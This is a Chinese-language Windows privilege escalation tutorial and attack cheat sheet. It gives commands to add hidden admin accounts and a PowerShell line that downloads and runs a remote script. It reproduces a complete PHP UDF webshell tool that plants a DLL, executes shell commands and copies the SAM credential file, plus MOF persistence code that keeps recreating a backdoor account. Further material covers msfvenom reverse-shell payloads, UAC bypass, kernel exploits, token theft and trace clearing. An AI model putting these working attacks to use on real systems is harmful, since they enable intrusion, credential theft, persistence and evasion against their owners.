windows提权知识Windows Privilege Escalation

提权基础

权限划分

Administrators：管理员组，默认情况下，Administrators中的用户对计算机/域有不受限制的完全访问权。
Power Users：高级用户组,Power Users 可以执行除了为 Administrators 组保留的任务外的其他任何操作系统任务。
Users：普通用户组,这个组的用户无法进行有意或无意的改动。
Guests：来宾组,来宾跟普通Users的成员有同等访问权，但来宾帐户的限制更多
Everyone：所有的用户，这个计算机上的所有用户都属于这个组。

基础命令

$ query user               # 查看用户登陆情况
$ whoami                   # 当前用户权限
$ set                      # 环境变量
$ hostname                 # 主机名
$ systeminfo               # 查看当前系统版本与补丁信息
$ ver                      # 查看当前服务器操作系统版本
$ net user                 # 查看用户信息
$ net start                # 查看当前计算机开启服务名称
$ netstat -ano             # 查看端口情况
$ netstat -ano|find "3389" # 查看指定端口
$ tasklist                 # 查看所有进程占用的端口
$ taskkil /im xxx.exe /f   # 强制结束指定进程
$ taskkil -PID pid         # 结束某个pid号的进程
$ tasklist /svc|find "TermService" # 查看服务pid号
$ wmic os get caption              # 查看系统名
$ wmic product get name,version    # 查看当前安装程序
$ wmic qfe get Description,HotFixID,InstalledOn # 查看补丁信息
$ wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094" # 定位特定补丁

# 添加管理员用户
$ net user username(用户名) password(密码) /add  # 添加普通用户
$ net localgroup adminstrators username /add   # 把普通用户添加到管理员用户组
# 如果远程桌面连接不上可以添加远程桌面组
$ net localgroup "Remote Desktop Users" username /add

系统漏洞提权

系统漏洞漏洞提权一般就是利用系统自身缺陷，用来提升权限。通常利用systeminfo查看补丁记录，来判断有哪个补丁没打，然后使用相对应的exp进行提权。

查询补丁信息

WinSystemHelper：检查可利用的漏洞。该工具适合在任何Windows服务器上进行已知提权漏洞的检测.

WinSystemHelper对于Windows 2003：


KB2360937,MS10-084,https://technet.microsoft.com/library/security/ms10-084
KB2478960,MS11-014,https://technet.microsoft.com/library/security/MS11-014
KB2507938,MS11-056,https://technet.microsoft.com/library/security/MS11-056
KB2566454,MS11-062,https://technet.microsoft.com/library/security/MS11-062
KB2646524,MS12-003,https://technet.microsoft.com/library/security/MS12-003
KB2645640,MS12-009,https://technet.microsoft.com/library/security/MS12-009
KB2641653,MS12-018,https://technet.microsoft.com/library/security/MS12-018
KB944653,MS07-067,https://technet.microsoft.com/library/security/MS07-067
KB952004,MS09-012,https://technet.microsoft.com/library/security/MS09-012
KB971657,MS09-041,https://technet.microsoft.com/library/security/MS09-041
KB2620712,MS11-097,https://technet.microsoft.com/library/security/MS11-097
KB2393802,MS11-011,https://technet.microsoft.com/library/security/MS11-011
kb942831,MS08-005,https://technet.microsoft.com/library/security/MS08-005
KB2503665,MS11-046,https://technet.microsoft.com/library/security/MS11-046
KB2592799,MS11-080,https://technet.microsoft.com/library/security/MS11-080
KB956572,MS09-012,https://technet.microsoft.com/library/security/MS09-012
KB2621440,MS12-020,https://technet.microsoft.com/library/security/MS12-020
KB977165,MS10-015,https://technet.microsoft.com/library/security/MS10-015

WinSystemHelper对于Windows 2003以上：

KB3077657,MS15-077,https://technet.microsoft.com/library/security/MS15-077
KB3045171,MS15-051,https://technet.microsoft.com/library/security/MS15-051
KB3087039,MS15-097,https://technet.microsoft.com/library/security/MS15-097
KB3000061,MS14-058,https://technet.microsoft.com/library/security/MS14-058
KB2829361,MS13-046,https://technet.microsoft.com/library/security/MS13-046
KB2850851,MS13-053,https://technet.microsoft.com/library/security/MS13-053
KB2707511,MS12-042,https://technet.microsoft.com/library/security/MS12-042
KB970483,MS09-020,https://technet.microsoft.com/library/security/MS09-020
KB3124280,MS16-016,https://technet.microsoft.com/library/security/MS16-016
KB2124261,MS10-065,https://technet.microsoft.com/library/security/MS10-065
KB3139914,MS16-032,https://technet.microsoft.com/library/security/MS16-032
KB3140745,MS16-032,https://technet.microsoft.com/library/security/MS16-032
KB3140768,MS16-032,https://technet.microsoft.com/library/security/MS16-032

上传WinSysHelper.bat、explt2003.txt、expgt2003.txt，运行bat查看结果
- 然后在可利用的Exp中任意下载一个并执行即可

$ WinSysHelper.bat

Sherlock：在Windows下用于本地提权的PowerShell脚本
- 分析漏洞出漏洞后利用对应Exp即可

Sherlock当前能扫描的漏洞:

MS10-015 : User Mode to Ring (KiTrap0D)
MS10-092 : Task Scheduler
MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
MS13-081 : TrackPopupMenuEx Win32k NULL Page
MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
MS15-051 : ClientCopyImage Win32k
MS15-078 : Font Driver Buffer Overflow
MS16-016 : ‘mrxdav.sys’ WebDAV
MS16-032 : Secondary Logon Handle
MS16-034 : Windows Kernel-Mode Drivers EoP
MS16-135 : Win32k Elevation of Privilege
CVE-2017-7199 : Nessus Agent 6.6.2 – 6.10.3 Priv Esc

# 启动Powershell
$ powershell.exe -exec bypass

# 本地加载脚本
$ Import-Module Sherlock.ps1

# 远程加载脚本
$ IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')

# 检查漏洞，Vulnstatus为Appears Vulnerable即存在漏洞
$ Find-AllVulns

提权辅助平台
- 漏洞编号查询：根据补丁信息查找漏洞编号
- windows杀软在线查询

Exp查询：根据补丁信息查找Exp
Windows-Kernel-Exploits：Windows平台提权漏洞集合

提权步骤

除了需要注意每种漏洞所适用的详细系统版本及位数外，实战中还需要事先免杀并调试好Exp，否则可能有蓝屏等风险。

先运行systeminfo，并将其中的修补程序内容复制到提权辅助平台 – Exp查询进行查询Exp。如：

[01]: KB2999226
[02]: KB976902

然后根据可选补丁编号以及目标系统，选择对应的Exp下载运行即可。
另外还需要注意提权Exp的运行方式，一般有以下几种：
- 直接执行exe程序，成功后会打开一个cmd窗口，在新窗口中权限就是system
- 在WebShell中执行exe程序，执行方式为xxx.exe whoami，成功后直接执行命令，再修改命令内容，可以执行不同的命令
- 利用MSF等工具
- C++源码，Python脚本，PowerShell脚本等特殊方式

数据库提权

MySQL

前提：拿到Root密码
注意：
- MySQL5.7以后secure-file-priv的问题
- MySQL5.7后，系统的用户表mysql.user中的密码字段已从password修改为authentication_string

UDF提权

原理：通过root权限，导入udf.dll到系统目录下，可以通过udf.dll调用执行cmd
利用条件
- 系统版本：Win2000、WinXP、Win2003
- 具有对MySQL的insert/delete权限的账号，用以创建和抛弃函数。最好是root，或具备root账号所具备的权限的其它账号。

UDF木马提权

已有Webshell的情况下可以直接上UDF马

udf.php

<?php
//t00ls...................
session_start();?>
<html>
<head>
<title>T00ls UDF.PHP</title>
<style type="text/css">
input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
</style>
<script type="text/javascript">
function outfile(){
	document.getElementById("sql2").value= unescape("select%20%27%3C%3Fphp%20eval%28%24_POST%5B%5C%27pass%5C%27%5D%29%3F%3E%27%20into%20outfile%20%27d%3A%5C%5Cninty.php%27");
}
function loadfile(){
	document.getElementById("sql2").value = unescape("select%20load_file%28%27c%3A%5C%5Cboot.ini%27%29");
}
</script>
</head>
<body>
<?php
error_reporting(0);
if (isset($_REQUEST['action']))
	$action = $_REQUEST['action'];
else
	$action = 'vConn';
switch ($action) {
	case 'vConn':
		vConn();
		break;
	case 'conn':
		conn();
		break;
	case 'exec':
		execsql();
		break;
	case 'install':
		install();
		break;
	case 'copy':
		cp();
		break;
	case 'cplug':
		cplug();
		break;
	case 'logout':
		logout();
		break;
	case 'func':
		func();
		break;
}
function vConn() {
	echo 'by ninty http://www.t00ls.net/<form action="" method="post"><table><input type="hidden" name="action" value="conn">
<tr><td>ip:</td><td><input type="text" name="host" value="localhost"></td></tr><tr><td>uid:</td><td><input type="text" value="root" name="uid"></td></tr><tr><td>pwd:</td><td><input type="text" name="pwd"></td></tr><tr><td>db:</td><td><input type="text" name="db" value="mysql"></td></tr><tr><td><input type="submit"/></td><td>&nbsp;</td></tr></table></form>';
}
function func(){
	$conn = conn(false);
	mysql_select_db('mysql',$conn);
	mysql_query('CREATE TABLE `func` ( `name` char(64) collate utf8_bin NOT NULL default \'\', `ret` tinyint(1) NOT NULL default \'0\', `dl` char(128) collate utf8_bin NOT NULL default \'\', `type` enum(\'function\',\'aggregate\') character set utf8 NOT NULL, PRIMARY KEY (`name`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT=\'User defined functions\'');
	if (mysql_errno($conn) != 0) {
		echo mysql_error() . '<br/>';
	}
	echo 'Create mysql.func success !';
	mysql_close($conn);
}
function conn($close = true) {
	if (isset($_SESSION['host'])) {
		$host = $_SESSION['host'];
		$uid = $_SESSION['uid'];
		$pwd = $_SESSION['pwd'];
		$db = $_SESSION['db'];
	} else {
		$host = $_POST['host'];
		$uid = $_POST['uid'];
		$pwd = $_POST['pwd'];
		$db = $_POST['db'];
	}
	$conn = mysql_connect($host,$uid,$pwd);
	if (!$conn) {
		echo mysql_error().'<br/>';
		vConn();
		exit();
	} 
	mysql_select_db($db,$conn);
	if (mysql_errno($conn) != 0) {
		echo mysql_error().'<br/>';
		vConn();
		exit();
	}
	$_SESSION['host'] = $host;
	$_SESSION['uid'] = $uid;
	$_SESSION['pwd'] = $pwd;
	$_SESSION['db'] = $db;
	//mysql_query('set names utf8');
	showM($conn,$close);
	return $conn;
}
function logout(){
	unset($_SESSION['host']);
	unset($_SESSION['uid']);
	unset($_SESSION['pwd']);
	unset($_SESSION['db']);
	unset($_SESSION['notsame']);
	unset($_SESSION['over51']);
	unset($_SESSION['plugindir']);
	$url = $_SERVER['PHP_SELF']; 
	$filename = end(explode('/',$url));  
	echo '<script>location.href = "'.$filename.'?rn="+Math.random()</script>';
}
function showM(&$conn,$close = true){
	echo '<center><b>t00ls UDF.PHP</b></center>';
	echo '<form action="" method="post"><input type="hidden" name="action" value="logout"><input type="submit" value="Logout"></form>';
	echo '<div style="border:solid 1px #333;background-color:#999;padding:4px">';
	$sql = 'select concat(\'<b>user()</b>:\',user()) as m union select concat(\'<b>database():</b>\',database()) union select concat(\'<b>datadir</b>:\',@@datadir) union select concat(\'<b>basedir</b>:\',@@basedir) union select concat(\'<b>version()</b>:\',version()) ;';
	$meta = mysql_query($sql,$conn);
	$tmp = 1;
	while ($row = mysql_fetch_array($meta,MYSQL_ASSOC)) {
		echo $row['m'];
		if ($tmp == 1) {
			$tmp = 2;
			$h = substr($row['m'],strpos($row['m'],'@')+1);
			if ($h != 'localhost') {
				echo ' <b><i><font color=green>[web and db is not the same server.]</font></i></b>';
			$_SESSION['notsame'] = 'true';
			}
		}
		echo '<br/>';
	}
	echo '<b>plugin_dir</b>:';
	$meta = mysql_query('show variables like "plugin_dir"');
	if (mysql_num_rows($meta)==0) {
		echo '<font color=white>mysql is under 5.1 , ';
		if (!isset($_SESSION['notsame']))
			echo ' u can dump udf.dll to any directory in follow paths';
		echo '</font>';
	} else {
		//over 5.1
		$_SESSION['over51'] = 'true';
		$row = mysql_fetch_row($meta);
		$_SESSION['plugindir'] = str_replace('\\','\\\\',str_replace('/','\\',$row[1])).'\\\\udf.dll';
		echo '<font color=white>'.str_replace('/','\\',$row[1]).'</font>';
		echo ' (mysql over 5.1, udf.dll can only dump to plugin_dir) ';
		if (isset($_SESSION['notsame'])) 
			echo ' <font><b><i>[maybe dump dll will be failed!]</i></b></font>';
		else {
			if (!file_exists(str_replace('/','\\',$row[1]))) 
				echo ' <a href="?action=cplug&dir='.base64_encode(str_replace('/','\\',$row[1])).'">Create PluginDir</a>';
			else 
				echo ' exists!';
		}
	}
	echo '<br/>';
	if (!isset($_SESSION['notsame']) && !isset($_SESSION['over51']))
		echo '<b>path</b>:<font color=green><b>'.getenv('path').'</b></font><br/>';
 	$meta = mysql_query('select 1,1,1,1 from mysql.user union select * from mysql.func');
	if (mysql_num_rows($meta)==0)
		echo '<b>Mysql.Func</b> : <font color=white><b><i><font color=red>dont exist!</font></i></b></font> must <a href="?action=func">create</a> mysql.func first!';
	else 
		echo '<b>Mysql.Func</b> : <font color=green>exist!</font>';
	echo '<br/>';
	echo '<b>grants</b> : <font color=white>';
	$meta = mysql_query('show grants;',$conn);
	while ($row = mysql_fetch_row($meta)) {
		echo $row[0];
	}
	echo '</font>';
	echo '</div>';
	if ($close)
		mysql_close($conn);
	echo '<br/>';
	if (isset($_POST['path'])) {
		$path = $_POST['path'];
		if (get_magic_quotes_gpc()) 
			$path = stripslashes($path);
	}
	else
		$path = isset($_SESSION['plugindir']) ? $_SESSION['plugindir'] : 'c:\\\\windows\\\\system32\\\\udf.dll';
	echo '<div style="border:solid 1px #333;background-color:#999;padding:4px"><form action="" method="post"><input type="hidden" name="action" value="install"><input type="text" name="path" size="60" value="'.$path.'"> <input type="submit" value="Dump UDF"></form>';
	echo '<form action="" method="post"><input type="hidden" name="action" value="exec"><input type="hidden" name="dump" value="d"><input type="text" name="sql" size="60" value="CREATE FUNCTION shell RETURNS STRING SONAME \'udf.dll\'"> <input type="submit" value="Create Function"></form>';
	echo '<form action="" method="post"><input type="hidden" name="action" value="copy"><input type="text" value="c:\\\\WINDOWS\\\\repair\\\\sam" name="source" size=30>  <input type="text" name="target" size=30> <input type="submit" value="Copy"> <font color=white>please convert \\ to \\\\</font></form></div>';
	if (isset($_POST['sql']))
		$sql = $_POST['sql'];
	else
		$sql = 'select * from mysql.user';
	if (get_magic_quotes_gpc())
		$sql = stripslashes($sql);
	if (isset($_POST['dump']))
		$sql = 'select shell(\'cmd\',\'whoami\')';
	echo '<form action="" method="post"><input type="hidden" name="action" value="exec"><textarea id="sql2" cols="100" rows="5" name="sql">'.$sql.'</textarea><br/><input type="submit" value="Mysql_query"> <input type="button" value="Load_File" onclick="loadfile()"> <input type="button" value="Into OutFile" onclick="outfile()"></form>';
}
function cplug(){
	$path = $_GET['dir'];
	$path = base64_decode($path);
	$arr = explode('\\',$path);
	$p = '';
	$err = '';
	for ($index = 0,$count = count($arr);$index<$count;$index++) {
		$p .= ($arr[$index] . '\\');
		if (!file_exists($p)) {
			if (!mkdir($p)) {
				$err = 'create '.$p.'failed !';
				break;
			}
		}
	}
	conn();
	if ($err != '')
		exit($err);
	if (file_exists($path))
		echo 'plugin_dir create success !';
	else
		echo 'plugin_dir create failed !';
}
function execsql() {
	$conn = conn(false);
	$sql = $_POST['sql'];
	if (get_magic_quotes_gpc())
		$sql = stripslashes($sql);
	$rs = mysql_query($sql,$conn);
	echo mysql_info($conn);
	if (@mysql_num_rows($rs) > 0) {
		echo '<table border="1">';
		$cols = mysql_num_fields($rs);
		$index = 0;
		echo '<tr>';
		while ($index < $cols) {
			echo '<th>'.mysql_field_name($rs,$index).'</th>';
			$index ++;
		}
		echo '</tr>';
		while ($row = mysql_fetch_row($rs)) {
			$index = 0;
			echo '<tr>';
			while ($index < $cols) {
				echo '<td>';
				echo str_replace(chr(13),'<br/>',htmlspecialchars($row[$index]));
				echo '</td>';
				$index ++;
			}
			echo '</tr>';
 		}
		echo '</table>';
	}
	if (mysql_errno($conn) != 0)
		echo mysql_error();
	mysql_close($conn);
}
function cp(){
	$conn = conn(false);
	$source = $_POST['source'];
	$target = $_POST['target'];
	if (get_magic_quotes_gpc()) {
		$source = stripslashes($source);
		$target = stripslashes($target);
	}
	mysql_query('select unhex(hex(load_file("'.$source.'"))) into dumpfile "'.$target.'"');
	if (mysql_errno($conn) != 0)
		echo mysql_error().'<br/>';
	else
		echo 'done !';
	mysql_close($conn);
}
function install() {
//dump udf.dll
	$conn = conn(false);
	$path = $_POST['path'];
	if (get_magic_quotes_gpc()) 
		$path = stripslashes($path);
	mysql_query('create table udftmp (c blob)');
	if (mysql_errno($conn) != 0) {
		echo mysql_error().'<br/>';
		mysql_query('drop table udftmp');
		mysql_close($conn);
		exit();
	}
	mysql_query('insert into udftmp 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	if (mysql_errno($conn) != 0) {
		echo mysql_error().'<br/>';
		mysql_close($conn);
		exit();
	}
	mysql_query('select c from udftmp into dumpfile "'.$path.'"');
	if (mysql_errno($conn) != 0) {
		echo mysql_error(). '<br/>';
		mysql_query('drop table udftmp');
		mysql_close($conn);
		exit();
	}
	mysql_query('drop table udftmp');
	if (mysql_errno($conn) !=0)
		echo 'Dump DLL Failed.'.mysql_error();
	else
		echo 'Dump DLL Success!';
	mysql_close($conn);
}
?>
</body>
</html>

UDF手工提权

获取UDF：将sqlmap\data\udf\中找到对应系统的dll_文件，复制到sqlmap\extra\cloak\，输入以下命令即可得到
- SQLMap自带的shell及一些二进制文件，为了防止被误杀都经过异或方式编码，不能直接使用，需要利用SQLMap自带的解码工具cloak.py进行解码

$ python cloak.py -d -i lib_mysqludf_sys.dll_

寻找目录
- MySQL<5.1，UDF导出到系统目录c:/windows/system32/
- MySQL>5.1，UDF导出到MySQL安装目录lib\plugin\目录(该目录默认不存在，需手动创建)

-- 寻找MySQL目录
mysql> select @@basedir;
mysql> show variables like '%plugin%';

-- 利用NTFS ADS创建目录,有Webshell的情况下可直接菜刀创建
mysql> select '123' into dumpfile 'C:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION'; 
mysql> select '123' into dumpfile 'C:\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

导出UDF：直接上传没有权限，可通过MySQL语句写入

-- 在【本地】以二进制读取UDF并转换十六进制
mysql> select hex(load_file("C:\\udf.dll")) into dumpfile 'C:\\myudf.txt';

-- 在【靶机】写入UDF,这里将UDF文件命名为myudf.dll
mysql> select unhex ('十六进制UDF') into dumpfile "C:\\Program Files\\MySQL\\lib\\plugin\\myudf.dll";

-- 出现secure-file-priv相关报错，需要修改mysql配置文件my.ini或mysql.cnf
-- secure_file_priv=/ # 允许导入到任意路径

利用UDF创建用户自定义函数

mysql> create function sys_eval returns string soname 'myudf.dll';

利用函数执行命令

mysql> select sys_eval("whoami")

MOF提权

MOF提权条件

Windows 2003及以下版本
MySQL启动身份具有权限去读写c:/windows/system32/wbem/mof目录
secure-file-priv参数不为null

MOF提权原理

MOF文件每五秒就会执行，而且是系统权限，通过MySQL使用load_file 将文件写入/wbme/mof，然后系统每隔五秒就会执行一次上传的MOF。MOF当中有一段是vbs脚本，可以通过控制这段vbs脚本的内容让系统执行命令，进行提权。

nullevt.mof的利用代码如下：

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter {
  EventNamespace = "Root\\Cimv2";
  Name = "filtP2";
  Query = "Select * From __InstanceModificationEvent "
  "Where TargetInstance Isa \"Win32_LocalTime\" "
  "And TargetInstance.Second = 5";
  QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer {
  Name = "consPCSV2";
  ScriptingEngine = "JScript";
# 执行命令,新建用户naraku
  ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user naraku 123456 /add\")";
};
instance of __FilterToConsumerBinding {
  Consumer = $Consumer;
  Filter = $EventFilter;
};

提权步骤

将上面的脚本上传到有读写权限的目录下，如：C:/xxx/
使用sql语句将文件导入到c:/windows/system32/wbem/mof/下
- 这里不能使用outfile，因为会在末端写入新行，而MOF在被当作二进制文件时无法正常执行，所以需要用dumpfile导出一行数据。

select load_file("C:/xxx/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

当我们成功把MOF导出时，mof就会直接被执行，且5秒创建一次用户

痕迹清除

提权成功后，就算被删号，MOF也会在五秒内将原账号重建，如果要删除入侵账号可以执行以下命令：

$ net stop winmgmt
$ del c:/windows/system32/wbem/repository
$ net start winmgmt

然后重启服务即可

启动项提权

已知root密码
file_priv不为null

create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " ); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user naraku 123456 /add"",0) " ); 
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators naraku /add"",0) " ); 
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

MSSQL

前提：拿到SA密码

利用方式

传统xp_cmdshell利用
- xp_cmdshell被删如何恢复
借助COM组件执行命令
借助CLR执行命令（类似MySQL UDF）
本地Hash注入+端口转发/Socks实现无密码连接目标内网MSSQL
利用Windows访问令牌实现无密码连接目标内网MSSQL

Oracle

通常情况下Oracle服务的运行权限都非常高
MSF下各类自动化利用模块
通常情况下，Oracle服务的运行权限都比较高

MSF提权

注意以下命令执行时的状态
- $：Linux命令行下
- msf：进入MSF控制台
- meterpreter：进入某个session

# 生成木马并放入靶机
$ msfvenom -p windows/meterpreter_reverse_tcp lhost=<攻击机IP> lport=<攻击机监听端口> -f exe -o /tmp/win.exe
# 攻击机监听
$ msfconsole
msf> use exploit/multi/handler 
msf> set payload windows/meterpreter_reverse_tcp
msf> set lhost <攻击机IP>
msf> set lport <攻击机端口>
msf> exploit
# 靶机运行,此时攻击机MSF会接收到反弹的Shell,在MSF中运行shell命令
meterpreter> shell 
C:\Users\Naraku\Desktop>whoami
naraku-win7\naraku
# 出现中文乱码可运行
# C:\Users\Naraku\Desktop>chcp 65001

GetSystem

直接运行getsystem

meterpreter> getsystem

BypassUAC

相关脚本
- use exploit/windows/local/bypassuac
- use exploit/windows/local/bypassuac_injection
- use windows/local/bypassuac_vbs
- use windows/local/ask

meterpreter> background  # 后台session 
msf> use exploit/windows/local/bypassuac
msf> set SESSION <session_id>  
# 后台session时会返回session_id,如不清楚可以使用命令sessions -l
msf> run

内核提权

这里查询补丁跟前面systeminfo一样，配合提权辅助平台 – 漏洞编号查询可利用漏洞编号

# 查询补丁
meterpreter> run post/windows/gather/enum_patches 
[+] KB2999226 installed on 11/25/2020
[+] KB976902 installed on 11/21/2010

也可以使用local_exploit_suggester查询哪些Exp可以利用。

# 查询Exp
msf> use post/multi/recon/local_exploit_suggester 
msf> set LHOST <攻击机IP>
msf> set SESSION <session_id>
msf> run

这里将上一步查询到的Exp打了一遍发现都没有成功，回头一看发现原来是系统位数的原因。这里的Meterpreter运行在32位，而系统位数为64位。

因此需要做进程迁移，将Meterpreter迁移到一个64位的进程。

meterpreter> sysinfo         # 查看位数
meterpreter> ps              # 查看进程
meterpreter > migrate <PID>  # 进程迁移

重复前面使用local_exploit_suggester那一步，可以看到现在查询的是64位的Exp

这里选择选个比较新的CVE_2019_1458

msf> use exploit/windows/local/cve_2019_1458_wizardopium 
msf> set SESSION <session_id>
msf> run
meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM

令牌操纵

incognito假冒令牌

meterpreter> use incognito                                  
meterpreter> list_tokens -u                          # 查看可用的token
meterpreter> impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒SYSTEM token
meterpreter> execute -f cmd.exe -i –t                # -t使用假冒的token 执行
meterpreter> rev2self                               # 返回原始token

steal_token窃取令牌

meterpreter> ps                 # 查看进程
meterpreter> steal_token <PID>  # 从指定进程中窃取token
meterpreter> drop_token         # 删除窃取的token

SMB系列RCE

基本绝迹

MS08-067
MS17-010

参考

from

提权基础

权限划分

基础命令

系统漏洞提权

查询补丁信息

WinSystemHelper对于Windows 2003：

WinSystemHelper对于Windows 2003以上：

Sherlock当前能扫描的漏洞:

提权步骤

数据库提权

MySQL

UDF提权

UDF木马提权

udf.php

UDF手工提权

MOF提权

MOF提权条件

MOF提权原理

提权步骤

痕迹清除

启动项提权

MSSQL

利用方式

Oracle

MSF提权

GetSystem

BypassUAC

内核提权

令牌操纵

SMB系列RCE

参考

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